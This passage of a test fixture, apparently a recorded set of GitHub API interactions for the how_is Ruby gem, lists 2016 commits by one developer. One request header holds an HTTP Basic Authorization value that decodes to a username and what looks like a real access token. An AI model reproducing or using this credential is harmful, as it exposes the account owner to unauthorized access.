help.","tree":{"sha":"6575fd3bf30e9b8364f2ba6d5402fa0585d080a1","url":"https://api.github.com/repos/how-is/how_is/git/trees/6575fd3bf30e9b8364f2ba6d5402fa0585d080a1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2ca63ee8593e6266ee10afbc36d4d68b56565bdc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2ca63ee8593e6266ee10afbc36d4d68b56565bdc","html_url":"https://github.com/how-is/how_is/commit/2ca63ee8593e6266ee10afbc36d4d68b56565bdc","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2ca63ee8593e6266ee10afbc36d4d68b56565bdc/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"330b0631fed45bafdfe35fb0be067fb4ecce2dfd","url":"https://api.github.com/repos/how-is/how_is/commits/330b0631fed45bafdfe35fb0be067fb4ecce2dfd","html_url":"https://github.com/how-is/how_is/commit/330b0631fed45bafdfe35fb0be067fb4ecce2dfd"}]},{"sha":"330b0631fed45bafdfe35fb0be067fb4ecce2dfd","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzMwYjA2MzFmZWQ0NWJhZmRmZTM1ZmIwYmUwNjdmYjRlY2NlMmRmZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T22:18:40Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T22:18:40Z"},"message":"Return Report, not Analysis; don''t call export from lib/how_bad.rb.","tree":{"sha":"891c63cb0f1279ab40b5aea01ac3fbea1fe41cbd","url":"https://api.github.com/repos/how-is/how_is/git/trees/891c63cb0f1279ab40b5aea01ac3fbea1fe41cbd"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/330b0631fed45bafdfe35fb0be067fb4ecce2dfd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/330b0631fed45bafdfe35fb0be067fb4ecce2dfd","html_url":"https://github.com/how-is/how_is/commit/330b0631fed45bafdfe35fb0be067fb4ecce2dfd","comments_url":"https://api.github.com/repos/how-is/how_is/commits/330b0631fed45bafdfe35fb0be067fb4ecce2dfd/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"a4f11b3e46072d59ac105673915aecbc6c18fb28","url":"https://api.github.com/repos/how-is/how_is/commits/a4f11b3e46072d59ac105673915aecbc6c18fb28","html_url":"https://github.com/how-is/how_is/commit/a4f11b3e46072d59ac105673915aecbc6c18fb28"}]},{"sha":"a4f11b3e46072d59ac105673915aecbc6c18fb28","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YTRmMTFiM2U0NjA3MmQ1OWFjMTA1NjczOTE1YWVjYmM2YzE4ZmIyOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T22:14:30Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T22:14:30Z"},"message":"Clean up exe/how_bad.","tree":{"sha":"5c8d70f12c75bdf39f0077da0c7934008375a280","url":"https://api.github.com/repos/how-is/how_is/git/trees/5c8d70f12c75bdf39f0077da0c7934008375a280"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/a4f11b3e46072d59ac105673915aecbc6c18fb28","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/a4f11b3e46072d59ac105673915aecbc6c18fb28","html_url":"https://github.com/how-is/how_is/commit/a4f11b3e46072d59ac105673915aecbc6c18fb28","comments_url":"https://api.github.com/repos/how-is/how_is/commits/a4f11b3e46072d59ac105673915aecbc6c18fb28/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7eee829a7a274beaa9dadfb58389b8a11a462c2c","url":"https://api.github.com/repos/how-is/how_is/commits/7eee829a7a274beaa9dadfb58389b8a11a462c2c","html_url":"https://github.com/how-is/how_is/commit/7eee829a7a274beaa9dadfb58389b8a11a462c2c"}]},{"sha":"7eee829a7a274beaa9dadfb58389b8a11a462c2c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2VlZTgyOWE3YTI3NGJlYWE5ZGFkZmI1ODM4OWI4YTExYTQ2MmMyYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T14:08:00Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T14:08:00Z"},"message":"Actually require simple_xslx.","tree":{"sha":"6e3812382a86634a4809ccd5a9819600c27c8892","url":"https://api.github.com/repos/how-is/how_is/git/trees/6e3812382a86634a4809ccd5a9819600c27c8892"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7eee829a7a274beaa9dadfb58389b8a11a462c2c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7eee829a7a274beaa9dadfb58389b8a11a462c2c","html_url":"https://github.com/how-is/how_is/commit/7eee829a7a274beaa9dadfb58389b8a11a462c2c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7eee829a7a274beaa9dadfb58389b8a11a462c2c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7dece8e12f41e263934d16c06b68e9874d75ce3a","url":"https://api.github.com/repos/how-is/how_is/commits/7dece8e12f41e263934d16c06b68e9874d75ce3a","html_url":"https://github.com/how-is/how_is/commit/7dece8e12f41e263934d16c06b68e9874d75ce3a"}]},{"sha":"7dece8e12f41e263934d16c06b68e9874d75ce3a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2RlY2U4ZTEyZjQxZTI2MzkzNGQxNmMwNmI2OGU5ODc0ZDc1Y2UzYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T14:06:11Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T14:06:11Z"},"message":"Only iterate over labels if labels exist.","tree":{"sha":"675cf33c8eaf7e795730d11966cd7214435fbfb6","url":"https://api.github.com/repos/how-is/how_is/git/trees/675cf33c8eaf7e795730d11966cd7214435fbfb6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7dece8e12f41e263934d16c06b68e9874d75ce3a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7dece8e12f41e263934d16c06b68e9874d75ce3a","html_url":"https://github.com/how-is/how_is/commit/7dece8e12f41e263934d16c06b68e9874d75ce3a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7dece8e12f41e263934d16c06b68e9874d75ce3a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d9e7c564fe16bb8fea44b27acbc59edbcafe80a3","url":"https://api.github.com/repos/how-is/how_is/commits/d9e7c564fe16bb8fea44b27acbc59edbcafe80a3","html_url":"https://github.com/how-is/how_is/commit/d9e7c564fe16bb8fea44b27acbc59edbcafe80a3"}]},{"sha":"d9e7c564fe16bb8fea44b27acbc59edbcafe80a3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDllN2M1NjRmZTE2YmI4ZmVhNDRiMjdhY2JjNTllZGJjYWZlODBhMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T14:02:10Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T14:02:10Z"},"message":"Call Report#export!","tree":{"sha":"afdb70c6c55d27512a4639afdccb3c9bcde86a77","url":"https://api.github.com/repos/how-is/how_is/git/trees/afdb70c6c55d27512a4639afdccb3c9bcde86a77"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d9e7c564fe16bb8fea44b27acbc59edbcafe80a3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d9e7c564fe16bb8fea44b27acbc59edbcafe80a3","html_url":"https://github.com/how-is/how_is/commit/d9e7c564fe16bb8fea44b27acbc59edbcafe80a3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d9e7c564fe16bb8fea44b27acbc59edbcafe80a3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7a14bb9b9f28d5245bce8008f03a5c03cd2be699","url":"https://api.github.com/repos/how-is/how_is/commits/7a14bb9b9f28d5245bce8008f03a5c03cd2be699","html_url":"https://github.com/how-is/how_is/commit/7a14bb9b9f28d5245bce8008f03a5c03cd2be699"}]},{"sha":"7a14bb9b9f28d5245bce8008f03a5c03cd2be699","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2ExNGJiOWI5ZjI4ZDUyNDViY2U4MDA4ZjAzYTVjMDNjZDJiZTY5OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T14:01:35Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T14:01:35Z"},"message":"export -> export!","tree":{"sha":"f371f99fc82fa344f51ff77c42fbdd66cd6c9e5a","url":"https://api.github.com/repos/how-is/how_is/git/trees/f371f99fc82fa344f51ff77c42fbdd66cd6c9e5a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7a14bb9b9f28d5245bce8008f03a5c03cd2be699","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7a14bb9b9f28d5245bce8008f03a5c03cd2be699","html_url":"https://github.com/how-is/how_is/commit/7a14bb9b9f28d5245bce8008f03a5c03cd2be699","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7a14bb9b9f28d5245bce8008f03a5c03cd2be699/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"a50881031626e981a7aceb65c5709c8abd0203ef","url":"https://api.github.com/repos/how-is/how_is/commits/a50881031626e981a7aceb65c5709c8abd0203ef","html_url":"https://github.com/how-is/how_is/commit/a50881031626e981a7aceb65c5709c8abd0203ef"}]},{"sha":"a50881031626e981a7aceb65c5709c8abd0203ef","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YTUwODgxMDMxNjI2ZTk4MWE3YWNlYjY1YzU3MDljOGFiZDAyMDNlZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T14:00:38Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T14:00:38Z"},"message":"Implement Report#export.","tree":{"sha":"208ac125789fc7d5768ddedf3b3190a0f0ed163b","url":"https://api.github.com/repos/how-is/how_is/git/trees/208ac125789fc7d5768ddedf3b3190a0f0ed163b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/a50881031626e981a7aceb65c5709c8abd0203ef","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/a50881031626e981a7aceb65c5709c8abd0203ef","html_url":"https://github.com/how-is/how_is/commit/a50881031626e981a7aceb65c5709c8abd0203ef","comments_url":"https://api.github.com/repos/how-is/how_is/commits/a50881031626e981a7aceb65c5709c8abd0203ef/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"323cc4beaef01e05d4068548ec45b9a5a8fe2d50","url":"https://api.github.com/repos/how-is/how_is/commits/323cc4beaef01e05d4068548ec45b9a5a8fe2d50","html_url":"https://github.com/how-is/how_is/commit/323cc4beaef01e05d4068548ec45b9a5a8fe2d50"}]},{"sha":"323cc4beaef01e05d4068548ec45b9a5a8fe2d50","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzIzY2M0YmVhZWYwMWUwNWQ0MDY4NTQ4ZWM0NWI5YTVhOGZlMmQ1MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T13:59:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T13:59:14Z"},"message":"Pass repository name through Analyzer.","tree":{"sha":"bfdcde2f22e6301736be6da39b8bef0301838699","url":"https://api.github.com/repos/how-is/how_is/git/trees/bfdcde2f22e6301736be6da39b8bef0301838699"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/323cc4beaef01e05d4068548ec45b9a5a8fe2d50","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/323cc4beaef01e05d4068548ec45b9a5a8fe2d50","html_url":"https://github.com/how-is/how_is/commit/323cc4beaef01e05d4068548ec45b9a5a8fe2d50","comments_url":"https://api.github.com/repos/how-is/how_is/commits/323cc4beaef01e05d4068548ec45b9a5a8fe2d50/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d2e6e70851047014bc34e091c802f1ca77bc6537","url":"https://api.github.com/repos/how-is/how_is/commits/d2e6e70851047014bc34e091c802f1ca77bc6537","html_url":"https://github.com/how-is/how_is/commit/d2e6e70851047014bc34e091c802f1ca77bc6537"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:48 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=17&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:49 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3328' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"115e8f5d97e865dbf2dd1fdb458109e3" Last-Modified: - Fri, 03 Jun 2016 13:57:17 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - EDE8:3FB8:A00D0:18E340:5CC36AF1 body: encoding: ASCII-8BIT string: '[{"sha":"d2e6e70851047014bc34e091c802f1ca77bc6537","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDJlNmU3MDg1MTA0NzAxNGJjMzRlMDkxYzgwMmYxY2E3N2JjNjUzNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T13:57:17Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T13:57:17Z"},"message":"Return repository in Fetcher::Results.","tree":{"sha":"d75dc0c6f67394e1e7de5267944660e9ec1624ad","url":"https://api.github.com/repos/how-is/how_is/git/trees/d75dc0c6f67394e1e7de5267944660e9ec1624ad"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d2e6e70851047014bc34e091c802f1ca77bc6537","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d2e6e70851047014bc34e091c802f1ca77bc6537","html_url":"https://github.com/how-is/how_is/commit/d2e6e70851047014bc34e091c802f1ca77bc6537","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d2e6e70851047014bc34e091c802f1ca77bc6537/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url"